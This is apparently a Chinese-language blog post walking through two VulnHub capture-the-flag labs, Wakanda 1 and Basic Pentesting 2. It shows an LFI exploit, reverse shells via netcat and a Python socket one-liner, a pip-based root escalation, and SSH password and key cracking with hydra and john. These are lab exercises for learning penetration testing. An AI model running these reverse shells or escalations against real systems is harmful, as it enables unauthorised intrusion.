目錄php
download url : https://download.vulnhub.com/wakanda/wakanda-1.ovapython
A new Vibranium market will soon be online in the dark net. Your goal, get your hands on the root file containing the exact location of the mine.linux
Intermediate levelgit
Flags: There are three flags (flag1.txt, flag2.txt, root.txt)github
DHCP: Enabled
IP Address: Automatically assigned
Hint: Follow your intuitions ... and enumerate!web
For any questions, feel free to contact me on Twitter: xMagassshell
Happy Hacking!瀏覽器
初始化環境網絡
下載VirtualBox,直接雙擊下載好的ova文件,爲virtualbox配置DHCP網絡,而後開機運行便可。app
首先神器nmap掃描整個 192.168.56.0/24
網段。 nmap -sF 192.168.56.0/24
發現主機192.168.56.101開機
而後 nmap -p- -A 192.168.56.101
掃描該主機的全部端口
看到主機開了80、1十一、51四、3333端口。
有80的話,瀏覽器能夠直接打開。
沒有太多信息。
頁面上英語的意思是:
下一個開放最大的釩市場。 產品直接來自wakanda。 敬請關注!
此時使用dirb爆破主機的目錄 dirb http://192.168.56.101/
依次訪問以上爆破出來的路徑,都沒有結果。
只能查看網頁源代碼了,在其中看到一條隱藏信息。
直接訪問這個連接,發現主頁面的字改變了
法語,意思是:
下一次開闢最大的鈾市場。 產品直接來自wakanda。 請繼續關注!
仍是不懂
考慮php的 Local File Include (本地文件包含漏洞)。
輸入: http://192.168.56.101/?lang=php://filter/convert.base64-encode/resource=index
發現頁面有變化:
查看源代碼:
將以上字符串複製下來,明顯是base64編碼後的,先base64解碼,獲得:
能夠看到 $password ="Niamey4Ever227!!!"
,由於掃描的時候發現3333端口是ssh服務,這裏猜想這個密碼是ssh的密碼,可是測試發現用戶名不是root,查看頁面發現關鍵信息:
用 mamadou / Niamey4Ever227!!! 登錄ssh,成功。
看到這是一個Python的終端,不方便執行命令,因此使用 python -c ‘import pty; pty.spawn(「/bin/sh」)’
將其轉換爲shell
這裏就獲得了第一個flag:
Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
查看 /etc/passwd 文件,發現還有另一個用戶,而且其家目錄中有flag2
可是當前的shell沒有查看的權限。
查找devops用戶的相關文件:
看到 .antivirus.py
的內容是打開/tmp/test 寫入test
這裏向其中寫入反彈shell的命令 os.system('nc -e /bin/sh 127.0.0.1 4444')
並另開一個終端進行監聽
等了一會發現主機上已經收到shell
這樣就能夠看flag2.txt
思路就是查看 test的mtime , 用 stat /tmp/test
能夠看到,test在近5分鐘內修改過,因此推測有定時任務在執行該py腳本。
獲取到devops的shell後,查找.antivirus.py能夠發現,每300秒,腳本就會執行一次。
grep -Ril .antivirus.py / 2>/dev/null /lib/systemd/system/antivirus.service
mamadou@Wakanda1:/etc$ grep -Ril .antivirus.py / 2>/dev/null /lib/systemd/system/antivirus.service mamadou@Wakanda1:/etc$ cat /lib/systemd/system/antivirus.service [Unit] Description=Antivirus After=network.target StartLimitIntervalSec=0 [Service] Type=simple Restart=always RestartSec=300 User=devops ExecStart=/usr/bin/env python /srv/.antivirus.py [Install] WantedBy=multi-user.target
輸入 sudo -l
看到能夠以root權限運行pip 。google找到開源項目 https://github.com/0x00-0x00/FakePip 能夠直接利用。
下載其中的setup.py 腳本,修改setup.py中的host爲127.0.0.1 port爲4433並執行。
首先新開一個終端 輸入nc -lnvp 4433
而後在剛剛反彈獲得的shell執行:sudo /usr/bin/pip install . --upgrade --force-reinstall
看到另外一個正在監聽的終端已經捕獲到反彈出的shell,root權限:
這樣就獲得了最後一個flag
本次學到的主要內容:
https://www.exploit-db.com/docs/english/40992-web-app-penetration-testing---local-file-inclusion-(lfi).pdf
python -c ‘import pty; pty.spawn(「/bin/sh」)’
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Download url : https://www.vulnhub.com/entry/basic-pentesting-2,241/
This is a boot2root VM and is a continuation of the Basic Pentesting series. This series is designed to help newcomers to penetration testing develop pentesting skills and have fun exploring part of the offensive side of security.
VirtualBox is the recommended platform for this challenge (though it should also work with VMware -- however, I haven’t tested that).
This VM is a moderate step up in difficulty from the first entry in this series. If you’ve solved the first entry and have tried a few other beginner-oriented challenges, this VM should be a good next step. Once again, this challenge contains multiple initial exploitation vectors and privilege escalation vulnerabilities.
Your goal is to remotely attack the VM, gain root privileges, and read the flag located at /root/flag.txt. Once you’ve finished, try to find other vectors you might have missed! If you’d like to send me a link to your writeup, enjoyed the VM or have questions or feedback, feel free to contact me at: josiah@vt.edu
If you finished the VM, please also consider posting a writeup! Writeups help you internalize what you worked on and help anyone else who might be struggling or wants to see someone else’s process. There were lots of wonderful writeups for Basic Pentesting: 1, and I look forward to reading the writeups for this challenge.
初始化環境
下載VirtualBox,直接雙擊下載好的ova文件,爲virtualbox配置DHCP網絡,而後開機運行便可。
首先nmap掃描整個網段: nmap -sF 192.168.56.0/24
, 發現存活主機 192.168.56.101
而後掃描端口: nmap -A 192.168.56.101
發現主機 22 / 80 / 139 / 445 / 514 / 8009 / 8080 端口開啓
瀏覽器訪問80端口, 無有用信息
dirb爆破目錄信息: dirb http://192.168.56.101
, 看到:
而後訪問 : http://192.168.56.101/development/
, 看到:
裏面的內容是兩封郵件,內容分別爲:
這裏看到,K
給 J
發消息說,J 的口令爲弱密碼,讓他整改,因此考慮爆破。可是並不知道 K 和 J 的真正用戶名。
而後因爲 nmap 掃描時看到主機開放了139 445 端口,而且有 SMB 服務,因此嘗試用kali的 enum4linux
探測主機的用戶名。
enum4linux 192.168.56.101
看到 K 和 J 其實分別是 kay
和 jan
。
而後用hydra爆破 jan 的密碼:
成功,獲得 jan 的密碼 : armando
接下來,ssh 登錄 jan
用戶。
成功登錄了 jan 用戶
最終目的是登錄root用戶,沒什麼思路,看一下 kay 用戶的家目錄,發現了一個 pass.bak
和 ssh 公私鑰
因此接下來的思路就是 ssh 登錄 kay 用戶,而後查看pass.bak的內容。
這裏須要瞭解公私鑰的知識。
這裏咱們將 id_rsa 這個私鑰拷貝下來,複製到kali 上, 用john這個工具爆破 kay 的 密碼。
首先用 ssh2john 將id_rsa 轉換爲能夠爆破的 hash 類型,名字爲 key , 而後 john key 爆破:
獲得 kay 的密碼 beeswax
直接 ssh 登錄便可
這樣就登錄了 kay 帳戶,看到 pass.bak 的內容貌似是一個強密碼
這裏有一點須要注意的是:id_rsa的權限要600或700才能登錄,不然會報錯 ( chmod 600 id_rsa)
嘗試一下切換 root , 輸入該密碼,發現成功了,而後再 /root下找到了 flag.txt